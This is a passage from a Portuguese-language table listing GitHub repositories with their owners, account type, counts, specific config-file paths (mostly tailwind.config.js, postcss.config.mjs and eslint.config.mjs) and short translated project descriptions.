React de demonstração para testar a abordagem iframe | | | 62 | dawahanigeria-team/domainping | dawahanigeria-team | Organização | 0 | 0 | 1 | frontend/tailwind.config.js | | | | 63 | shahid538org/microrealestate | shahid538org | Organização | 0 | 0 | 1 | webapps/landlord/tailwind.config.js | | | | 64 | orynth-dev/vite-shadcn-template | orynth-dev | Organização | 0 | 0 | 1 | tailwind.config.js | | | | 65 | FlowBondTech/egator | FlowBondTech | Organização | 0 | 0 | 1 | apps/web/tailwind.config.js | AIeGator - Mecanismo de agregação de eventos com IA (ETHDenver via Luma) | | | 66 | sparktechagency/u_tee_hub | sparktechagency | Organização | 0 | 0 | 1 | tailwind.config.js | | | | 67 | Enigma-Incorporated-Ltd/N0DE-Website | Enigma-Incorporated-Ltd | Organização | 0 | 0 | 2 | tailwind.config.js | src/tailwind.config.js | | | | 68 | FSDTeam-SAA/AMES_Investment_new | FSDTeam-SAA | Organização | 0 | 0 | 1 | tailwind.config.js | | | | 69 | Frontier-tech-consulting/olas-mcp-application-workflow | Frontier-tech-consulting | Organização | 0 | 0 | 1 | docs/tailwind.config.js | Consiste no fluxo de trabalho de maquete de UI correspondente ao ecossistema Olas (para permitir que os usuários executem a aplicação MCP para interações onchain). | | | 70 | Softvence-Omega-Dev-Ninjas/vic_pec_server_app | Softvence-Omega-Dev-Ninjas | Organização | 0 | 0 | 1 | eslint.config.mjs | | | | 71 | Softvence-Omega-Dev-Ninjas/jdadzok_server | Softvence-Omega-Dev-Ninjas | Organização | 0 | 0 | 1 | eslint.config.mjs | | | | 72 | Binary-Mindz/agimtula_server | Binary-Mindz | Organização | 0 | 0 | 1 | eslint.config.mjs | | | | 73 | Softvence-Omega-Dev-Ninjas/alvaaro-server | Softvence-Omega-Dev-Ninjas | Organização | 0 | 0 | 1 | eslint.config.mjs | | | | 74 | Softvence-Omega-Cyber-Monk/nishant-server | Softvence-Omega-Cyber-Monk | Organização | 0 | 0 | 1 | eslint.config.mjs | | | | 75 | softvence-omega-future-stack/huss-be | softvence-omega-future-stack | Organização | 0 | 0 | 1 | eslint.config.mjs | | | | 76 | BhavikPatel-dreamz/Products-filters-react | BhavikPatel-dreamz | Organização | 0 | 0 | 1 | src/App.js | | | | 77 | Victorola-coder/tewo | Victorola-coder | Usuário | 9 | 6 | 1 | tailwind.config.js | tewosimi boboyi, ebi n pami | | | 78 | Atik203/Scholar-Flow | Atik203 | Usuário | 4 | 4 | 1 | apps/frontend/postcss.config.mjs | ScholarFlow é uma plataforma SaaS projetada para pesquisadores, estudantes, professores e equipes acadêmicas para fazer upload, organizar e revisar artigos de pesquisa com coleções, anotações, pesquisa e colaboração em equipe em uma biblioteca de pesquisa compartilhada | | | 79 | Kreliannn/Document-Request-System-FRONTEND | Kreliannn | Usuário | 8 | 1 | 1 | postcss.config.mjs | Um sistema baseado na web que permite que residentes solicitem documentos do barangay (bairro) online sem precisar ir ao salão barangay. Os residentes podem acompanhar o status de sua solicitação, receber notificações por e-mail e visualizar o histórico de solicitações. O admin do barangay pode gerenciar solicitações, atualizar status e rastrear o histórico de transações. | | | 80 | coderkhalide/Anti-Detect-Browser | coderkhalide | Usuário | 2 | 4 | 1 | src/renderer/tailwind.config.js | | | | 81 | WeerasingheMSC/ASMS_Frontend | WeerasingheMSC | Usuário | 1 | 4 | 1 | asms_frontend/postcss.config.mjs | Sistema completo de registro de tempo de serviço e agendamento automotivo, construído com Next.js, TypeScript, TailwindCSS e Ant Design para o frontend. Inclui portais de cliente e funcionário, rastreamento de serviço em tempo real, agendamento de consultas, registro de tempo e implantação conteinerizada. | | | 82 | fsdteam8/n_Krypted-frontend | fsdteam8 | Usuário | 0 | 4 | 1 | postcss.config.mjs | | | | 83 | tanushbhootra576/Bionary-Website-Challenge-and-final | tanushbhootra576 | Usuário | 4 | 2 | 1 | bionary_website/tailwind.config.js | | | | 84 | Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | Kreliannn | Usuário | 7 | 0 | 1 | postcss.config.mjs | Um aplicativo web que usa IA para transformar arquivos PDF em um Revisor de perguntas e respostas. O usuário pode personalizar a saída gerada antes de salvar. O usuário pode Revisar e Fazer um Questionário Personalizável usando esse Revisor gerado por IA salvo. | | | 85 | tanushbhootra576/collegeConnect | tanushbhootra576 | Usuário | 5 | 1 | 1 | postcss.config.mjs | | | | 86 | brown2020/ikigaifinder | brown2020 | Usuário | 4 | 1 | 1 | postcss.config.mjs | | | | 87 | Kreliannn/commision_portfolio | Kreliannn | Usuário | 6 | 0 | 1 | postcss.config.mjs | | | | 88 | coderkhalide/Trading-Journal | coderkhalide | Usuário | 4 | 1 | 1 | postcss.config.mjs | Diário de trading profissional para rastrear, analisar e melhorar seu desempenho em trading em diferentes sistemas e períodos. | | | 89 | tanushbhootra576/weather | tanushbhootra576 | Usuário | 4 | 1 | 1 | postcss.config.mjs | projeto de hackathon | | | 90 | Kreliannn/student-passed-rate-analysis-frontend | Kreliannn | Usuário | 5 | 0 | 1 | postcss.config.mjs | | | | 91 | Kreliannn/pharmacy-management-frontend | Kreliannn | Usuário | 5 | 0 | 1 | postcss.config.mjs | | | | 92 | Kreliannn/Employee-management-frontend | Kreliannn | Usuário | 5 | 0 | 1 | postcss.config.mjs | | | | 93 | Kreliannn/e-commerce-frontend | Kreliannn | Usuário | 5 | 0 | 1 | postcss.config.mjs | | | | 94 | umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | umarabid123 | Usuário | 1 | 2 | 1 | frontend/postcss.config.mjs | | | | 95 | ahmadraza382/FinanceAi | ahmadraza382 | Usuário | 3 | 1 | 1 | tailwind.config.js | Coach Financeiro com IA | | | 96 | tanushbhootra576/turbo-happiness | tanushbhootra576 | Usuário | 4 | 0 | 1 | postcss.config.mjs | | | | 97 | shaheeer-dev/sketchers | shaheeer-dev | Usuário | 0 | 2 | 1 | postcss.config.mjs | | | | 98 | tanushbhootra576/game | tanushbhootra576 | Usuário | 4 | 0 | 1 | postcss.config.mjs | | | | 99 | tanushbhootra576/GridSaga | tanushbhootra576 | Usuário | 4 | 0 | 1 | postcss.config.mjs | | | | 100 | senulahesara/devkit | senulahesara | Usuário | 2 | 1 | 1 | postcss.config.mjs | Ferramentas essenciais, desempenho ultrarrápido e recursos prontos para uso offline — construídos para otimizar seu fluxo de trabalho e mantê-lo focado no que importa: escrever código de qualidade. | | | 101 | tanushbhootra576/week3-forms-and-inputs | tanushbhootra576 | Usuário | 4 | 0 | 1 | postcss.config.mjs | | | | 102 | tanushbhootra576/PW-app | tanushbhootra576 | Usuário | 4 | 0 | 1 | postcss.config.mjs | | | | 103 | tanushbhootra576/RESTRO | tanushbhootra576 | Usuário | 4 | 0 | 1 | tailwind.config.js | | | | 104 | tanushbhootra576/MoodSync | tanushbhootra576 | Usuário | 4 | 0 | 1 | App.js | | | | 105 | Amanbanti/Capstone | Amanbanti | Usuário | 1 | 1 | 1 | frontend/postcss.config.mjs | O Projeto Capstone é uma experiência acadêmica e prática culminante para alunos dos programas de Engenharia de Software (SE) e Ciência da Computação (CSE). | | | 106 | ShifaLabs/shifa | ShifaLabs | Usuário | 1 | 1 | 1 | postcss.config.mjs | Shefa é uma plataforma de telemedicina baseada na web que permite que pacientes consultem médicos verificados por meio de chamadas de vídeo em tempo real no aplicativo, recebam prescrições digitais e gerenciem seus cuidados de saúde remotamente em um ambiente seguro e profissional. Este é um sistema implantável de nível de produção, não uma demonstração ou maquete acadêmica. | | | 107 | SouravDn-p/mobile-canvas-nextjs | SouravDn-p | Usuário | 1 | 1 | 1 | postcss.config.mjs | MobileCanvas é uma plataforma moderna de e-commerce full-stack focada na venda de gadgets e dispositivos móveis. Construída com Next.js, Redux Toolkit e MongoDB, oferece uma experiência de compra segura, responsiva e contínua para usuários e ferramentas de gerenciamento poderosas para administradores. | | | 108 | RinSanom/IoTWeb | RinSanom | Usuário | 1 | 1 | 1 | postcss.config.mjs | | | | 109 | kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | kanchana404 | Usuário | 1 | 1 | 1 | postcss.config.mjs | | | | 110 | Salman1205/MailAssist | Salman1205 | Usuário | 1 | 1 | 1 | postcss.config.mjs | Plataforma de suporte ao cliente com IA, integração com Gmail, tickets inteligentes, respostas automatizadas, integração com Shopify e colaboração em equipe em tempo real | | | 111 | Yassin-Younis/bypass-in-app-browser | Yassin-Younis | Usuário | 3 | 0 | 1 | next.config.mjs | Ignore navegadores dentro de aplicativos de redes sociais como Instagram, Facebook, TikTok e outros. Envie usuários para o navegador nativo quando eles clicarem em seus anúncios de redes sociais para melhorar o engajamento, rastreamento preciso e aumentar as conversões. | | | 112 | Lithira-Silva/TrueClaim---ITPM- | Lithira-Silva | Usuário | 2 | 0 | 1 | client/postcss.config.mjs | TrueClaim — Um sistema inteligente de gerenciamento de sinistros desenvolvido como um projeto ITPM no SLIIT (3º ano, 2º semestre). Construído com a stack MERN para agilizar e automatizar o processo de sinistros de seguros com precisão e eficiência. | | | 113 | maaz-bin-hassan/sahoolat-web-new | maaz-bin-hassan | Usuário | 2 | 0 | 1 | postcss.config.mjs | | | | 114 | Pramadu2001/ITPM_MODUS | Pramadu2001 | Usuário | 0 | 1 | 1 | my-app/postcss.config.mjs | Projeto de gerenciamento de projetos de informação e tecnologia do 3º ano, 2º semestre, que é a plataforma de aprendizado MODUS | | | 115 | abimtad/upload_file | abimtad | Usuário | 0 | 1 | 1 | postcss.config.mjs | | | | 116 | anilgoswamistartbitsolutions/travel-platform | anilgoswamistartbitsolutions | Usuário | 0 | 1 | 3 | sites/holidaydeals/postcss.config.mjs | travel_template/package/postcss.config.mjs | travel_template/old/postcss.config.mjs | | | | 117 | AhsanalyOfficial/ahsan_portfolio | AhsanalyOfficial | Usuário | 0 | 1 | 1 | postcss.config.mjs | | | | 118 | HevenDev/rmw-new-design | HevenDev | Usuário | 0 | 1 | 1 | postcss.config.mjs | | | | 119 | anilgoswamistartbitsolutions/travel-payload-sites | anilgoswamistartbitsolutions | Usuário | 0 | 1 | 2 | sites/holidaydeals/postcss.config.mjs | sites/luxurytravels/postcss.config.mjs | | | | 120 | dhruvmalik007/solana-colossum-hackathon | dhruvmalik007 | Usuário | 0 | 1 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | construindo um mercado de previsões para a plataforma de investimento temática para carteiras de investimento sustentáveis | | | 121 | Tiewasters99/AI_Law_Wizard | Tiewasters99 | Usuário | 0 | 1 | 1 | postcss.config.mjs | | | | 122 | coderkhalide/scalping-trading-tools | coderkhalide | Usuário | 0 | 1 | 1 | postcss.config.mjs | Configure e avalie suas entradas de trading com fatores ponderados, avaliação de fatores individuais, pontos de bônus e notas de letras | | | 123 | monazahmed/Agrismart-project- | monazahmed | Usuário | 0 | 1 | 1 | postcss.config.mjs | | | | 124 | Gowreesh-VT/SherlockIT | Gowreesh-VT | Usuário | 0 | 1 | 1 | postcss.config.mjs | | | | 125 | webprogramminghack/b3-practice-30 | webprogramminghack | Usuário | 0 | 1 | 1 | postcss.config.mjs | | | | 126 | Salman1205/Mail-Assist-CRM | Salman1205 | Usuário | 2 | 0 | 1 | postcss.config.mjs | | | | 127 | AbdulwahidHusein/Shipper-chat | AbdulwahidHusein | Usuário | 2 | 0 | 1 | frontend/postcss.config.mjs | | | | 128 | michelzappy/zappy-scratch-091225 | michelzappy | Usuário | 0 | 1 | 1 | frontend/tailwind.config.js | | | | 129 | Ali-Hamas/Learn_Hub | Ali-Hamas | Usuário | 0 | 1 | 1 | frontend/tailwind.config.js | LearnHub - Plataforma de Aprendizagem com Múltiplos Instrutores com FastAPI, React, MongoDB, Pagamentos Stripe e Tutor de IA | | | 130 | VALENSAPP/coin_backend | VALENSAPP | Usuário | 0 | 1 | 1 | eslint.config.mjs | Repositório Backend. | | | 131 | QaisarWaheed/Aluminum-POS | QaisarWaheed | Usuário | 0 | 1 | 1 | eslint.config.mjs | | | | 132 | Abdulbasit219/UPSkaleAI | Abdulbasit219 | Usuário | 1 | 0 | 1 | postcss.config.mjs | UP SKale AI APP para estudantes (aprendizes) e (ganhadores) (Projeto FYP) | | | 133 | Satyam3002/nextauth | Satyam3002 | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 134 | ahmadraza382/Hospital-management-system | ahmadraza382 | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 135 | AKDebug-UX/challengePR | AKDebug-UX | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 136 | Ruwanima/ella-south-star-frontend | Ruwanima | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 137 | ahmadraza382/Luxeurs-Shopping-Store | ahmadraza382 | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 138 | ahmadraza382/Portfolio | ahmadraza382 | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 139 | Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | Ayesha-Siddiqui1234 | Usuário | 1 | 0 | 1 | frontend/postcss.config.mjs | nossa equipe participou do katy youth hackathon 2025 e estamos construindo um site totalmente funcional com chatbot integrado, algo como um conselheiro de carreira que orienta os alunos em seu caminho profissional | | | 140 | WimpyvL/Zappy-Health-Dashboard | WimpyvL | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 141 | ifedolapoomoniyi/fleet-robotics | ifedolapoomoniyi | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 142 | muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | muhammad-tahir-sultan | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 143 | vkrms/wizard | vkrms | Usuário | 1 | 0 | 1 | postcss.config.mjs | projeto de treinamento de formulário multi-etapas em react | | | 144 | Atik203/VocabPrep | Atik203 | Usuário | 1 | 0 | 1 | frontend/postcss.config.mjs | Um aplicativo web moderno e focado para ajudá-lo a construir e dominar o vocabulário em inglês por meio de aprendizado interativo, sessões de prática e acompanhamento de progresso. | | | 145 | web-ghoul/Portfolio | web-ghoul | Usuário | 1 | 0 | 1 | postcss.config.mjs | inclui meus projetos, minhas experiências, meus certificados, meu contato. | | | 146 | AbdulwahidHusein/ai-tools-directory | AbdulwahidHusein | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 147 | AhmadRazaKhokhar1/resturants-app | AhmadRazaKhokhar1 | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 148 | ishivamgaur/Ap-news-next-js | ishivamgaur | Usuário | 1 | 0 | 1 | postcss.config.mjs | AP News é um aplicativo de notícias baseado em Next.js que entrega conteúdo de notícias categorizado, como política, esportes, tecnologia, entretenimento e atualizações ao vivo, com desempenho rápido, otimização SEO e renderização no lado do servidor. | | | 149 | amMubbasher/cleannami.ceenami-old | amMubbasher | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 150 | AbdulwahidHusein/crawler-dashboard | AbdulwahidHusein | Usuário | 1 | 0 | 1 | postcss.config.mjs | | | | 151 | SouravDn-p/RexAuction | SouravDn-p | Usuário | 1 | 0 | 1 | tailwind.config.js | Um aplicativo web de leilão em tempo real construído para experiências de licitação ao vivo, combinando recursos avançados como atualizações instantâneas, lances inteligentes e comunicação em tempo real entre usuários. | | | 152 | AKDebug-UX/interactive-tv-app | AKDebug-UX | Usuário | 1 | 0 | 1 | tailwind.config.js | | | | 153 | usman-174/VidSpark | usman-174 | Usuário | 1 | 0 | 1 | client/tailwind.config.js | | | | 154 | NatyJoseDie/proyecto-nginx | NatyJoseDie | Usuário | 1 | 0 | 1 | eslint.config.mjs | | | | 155 | AKDebug-UX/DoneWithIt | AKDebug-UX | Usuário | 1 | 0 | 1 | App.js | | | | 156 | dhruvmalik007/forensics-board | dhruvmalik007 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 157 | Rahulkumarhavit/ProStore-Ecommerce | Rahulkumarhavit | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 158 | Bart3kL/shopify-components | Bart3kL | Usuário | 0 | 0 | 1 | polaris-components/postcss.config.mjs | | | | 159 | mjatin-dev/logic-zephyr | mjatin-dev | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 160 | umrasghar/heygen-demo | umrasghar | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 161 | thanhdanh111/challenge | thanhdanh111 | Usuário | 0 | 0 | 2 | Problem-2/postcss.config.mjs | Problem-3/postcss.config.mjs | | | | 162 | hamza-nafasat/rentin-frontend | hamza-nafasat | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 163 | rejoan121615/ClientOps | rejoan121615 | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | ClientOps é um painel de operações internas full-stack projetado para agências e pequenas empresas gerenciarem clientes, projetos, membros da equipe e fluxos de trabalho com segurança. | | | 164 | SouravDn-p/CMR | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 165 | EmanDeveloper/EasyTech | EmanDeveloper | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 166 | addis-ale/25-5-clock | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 167 | MSCPerera/Job-Board-App | MSCPerera | Usuário | 0 | 0 | 1 | job-board-app/postcss.config.mjs | | | | 168 | Nathanim1919/nextjs-project | Nathanim1919 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 169 | TimothyBabatu13/AegisHealth-Smart | TimothyBabatu13 | Usuário | 0 | 0 | 1 | aegis-health-smart/postcss.config.mjs | | | | 170 | Senti-fi/Senti.fi | Senti-fi | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 171 | Zentaurios/stable-monitor | Zentaurios | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 172 | SouravDn-p/Frontend-task | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 173 | Storaboy11/meerge | Storaboy11 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 174 | ahmedghonim/esraa | ahmedghonim | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 175 | vrunda310/AIA-VEGA-Frontend | vrunda310 | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 176 | emmanueldavidson96/popular_saas_product_landing_page | emmanueldavidson96 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 177 | pratikp72/deal-Project | pratikp72 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 178 | Al-amin07/file_sure | Al-amin07 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 179 | waris-ansar/finstar | waris-ansar | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 180 | MianHaziq/LKnight-Lms | MianHaziq | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 181 | pankajkhadse/TrustBasket | pankajkhadse | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 182 | adnaan-2/content-generation | adnaan-2 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 183 | malikjunaidhassann/seller-panel | malikjunaidhassann | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 184 | mdnuruzzamannirob/your-capture-awards-dashboard | mdnuruzzamannirob | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 185 | Minahil48/NY-caffine | Minahil48 | Usuário | 0 | 0 | 1 | postcss.config.mjs | Todos os seus desejos em um só lugar | | | 186 | FrazKhan1/dev-team-chat | FrazKhan1 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 187 | jrioscloud/financial-document-analyzer | jrioscloud | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 188 | seemab-ahmed/rodopi | seemab-ahmed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 189 | JudeTejada/digital-pods | JudeTejada | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 190 | msuhels/RapidProject-Pos-System | msuhels | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 191 | Al-amin07/project_5_frontend | Al-amin07 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 192 | abdullah2310ishaq/afronaut | abdullah2310ishaq | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 193 | Jaskaran2701/Test-1 | Jaskaran2701 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 194 | Deepanshu7-bit/nugen-interns | Deepanshu7-bit | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 195 | saifullah-max/bublr | saifullah-max | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 196 | Meet2054/automa8x-production-new | Meet2054 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 197 | bharatbrovitech/india-to-germany | bharatbrovitech | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 198 | PremShakti/PanchangCalendar | PremShakti | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 199 | Pa-ppy/Checkout | Pa-ppy | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 200 | Atif-Hameed/als-admin | Atif-Hameed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 201 | Dawit212119/Devodemy | Dawit212119 | Usuário | 0 | 0 | 1 | postcss.config.mjs | Construa um LMS usando Nextjs, React, Stripe, Mux, next app router, Prisma, Strip, Mysql, Docker, AWS Lambda, Redux Toolkit, Tailwind CSS, Shadcn, TypeScript, Zod, aws s3, aws CloudFront, Clerk, | | | 202 | SouravDn-p/NextManager-YourInventoryManager | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager - Um sistema full-stack de gerenciamento de estoque construído com Next.js 14 App Router, Tailwind CSS, MongoDB e Redux Toolkit (RTK Query). Este aplicativo suporta autenticação social via NextAuth.js (Google, GitHub) e login tradicional por e-mail/senha usando JWT. | | | 203 | ranjannkumar/Token-Vesting-App | ranjannkumar | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 204 | Usamahafiz8/fetchdetails | Usamahafiz8 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 205 | freelancework00700/CRM-test-task | freelancework00700 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 206 | ahmadraza382/APIs-integration | ahmadraza382 | Usuário | 0 | 0 | 1 | postcss.config.mjs | Obter dados de APIs e apenas para prática e rascunho | | | 207 | akashmuhammadabrrar/Resume-builder-NextTypescript | akashmuhammadabrrar | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 208 | abimtad/Customer-feedback | abimtad | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 209 | SanjayaPrasadRajapaksha/Blog_App | SanjayaPrasadRajapaksha | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 210 | MunibQazi12/next-starter-template | MunibQazi12 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 211 | PremShakti/multi-tenet-school-profile-app | PremShakti | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 212 | mirzaghalib4726/committee-system-next | mirzaghalib4726 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 213 | ChiraniSiriwardhana/Spirit11 | ChiraniSiriwardhana | Usuário | 0 | 0 | 1 | postcss.config.mjs | Um sistema de autenticação seguro e amigável | | | 214 | developerdesigner18/Frontend-Task | developerdesigner18 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 215 | noors-code/Account-Settings | noors-code | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 216 | finom/vovk-hello-world | finom | Usuário | 0 | 0 | 1 | postcss.config.mjs | Aplicativo Hello World Vovk.ts | | | 217 | Yashpreetrana4790/Bestvocabulary_platform | Yashpreetrana4790 | Usuário | 0 | 0 | 1 | postcss.config.mjs | Site de aprendizado de vocabulário | | | 218 | Atif-Hameed/unsigned-admin | Atif-Hameed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 219 | saifullah-max/mandviwalla-mauser | saifullah-max | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 220 | Navoda001/Solana | Navoda001 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 221 | wolfstudiosai/braxx-frontend-v2 | wolfstudiosai | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 222 | cywasay/neorecruits- | cywasay | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 223 | raoarafat/steelh-website | raoarafat | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 224 | Qasim-dev/stock-tracker | Qasim-dev | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 225 | teresagrobecker/pensio_consortia | teresagrobecker | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 226 | umarabid123/Raise-Your-Hack | umarabid123 | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 227 | dhruvmalik007/xrpl_haks_hackathon_project | dhruvmalik007 | Usuário | 0 | 0 | 1 | postcss.config.mjs | Submissão de competição de hack XRPL: desenvolvimento de framework de agente RAG para monitoramento de preços e criação de mercado de certificados de impacto | | | 228 | addis-ale/EGA | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 229 | addis-ale/free_code_camp_task_01 | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | Tarefa de certificação de bibliotecas frontend do free codecamp | | | 230 | addis-ale/gd-landing-page | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 231 | Al-amin07/purple-cat-client | Al-amin07 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 232 | Al-amin07/apparel-trade-bd | Al-amin07 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 233 | Al-amin07/hyshin | Al-amin07 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 234 | Al-amin07/web-programming-lab | Al-amin07 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 235 | mdnuruzzamannirob/relo-website | mdnuruzzamannirob | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 236 | Harsimran-Nugen/assignment | Harsimran-Nugen | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 237 | cto-varun/user-crud-design-nextjs | cto-varun | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 238 | Aman-scripts/NugenEmployabilityTest | Aman-scripts | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 239 | akashstwt/inventory-management-majorproject | akashstwt | Usuário | 0 | 0 | 1 | client/postcss.config.mjs | | | | 240 | akashstwt/TheGitcode | akashstwt | Usuário | 0 | 0 | 1 | gitcodeweb/postcss.config.mjs | | | | 241 | Atif-Hameed/ALS-Panel | Atif-Hameed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 242 | umarabid123/store-forge | umarabid123 | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 243 | addis-ale/discord | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 244 | addis-ale/hirecards-prod | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 245 | addis-ale/ega_updated | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 246 | addis-ale/group-match | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 247 | SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | SanjayaPrasadRajapaksha | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 248 | SanjayaPrasadRajapaksha/Todo_App | SanjayaPrasadRajapaksha | Usuário | 0 | 0 | 1 | my-app/postcss.config.mjs | | | | 249 | PremShakti/Inventory-Todo-Manager | PremShakti | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 250 | fsdteam8/lowready-dashboard | fsdteam8 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 251 | badhon252/shift-scheduler | badhon252 | Usuário | 0 | 0 | 1 | postcss.config.mjs | Construído para otimizar o agendamento de turnos | | | 252 | fsdteam8/stevenar77-dashboard | fsdteam8 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 253 | Atif-Hameed/unsigned-frontend | Atif-Hameed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 254 | Atif-Hameed/social-admin | Atif-Hameed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 255 | Atif-Hameed/cybenty | Atif-Hameed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 256 | anthemnandani/ai | anthemnandani | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 257 | mijanConnect/the-piegeon-hub-website | mijanConnect | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 258 | Button-20/juzbuild | Button-20 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 259 | HyderYash/my-progess-tracker | HyderYash | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 260 | MohamedH1000/course | MohamedH1000 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 261 | nipun-imesh/sample-react | nipun-imesh | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 262 | sayyamButt317/ishout | sayyamButt317 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 263 | rvmediacorp/Headshot-Portland-Official | rvmediacorp | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 264 | Sawjal-sikder/faceAi-front-end | Sawjal-sikder | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 265 | SanjayaPrasadRajapaksha/E-Commerce | SanjayaPrasadRajapaksha | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 266 | Rahulkumarhavit/multi-tenant-architecture | Rahulkumarhavit | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 267 | Mohsin-Javed48/connectors-nextJs | Mohsin-Javed48 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 268 | Axxi3/hennery | Axxi3 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 269 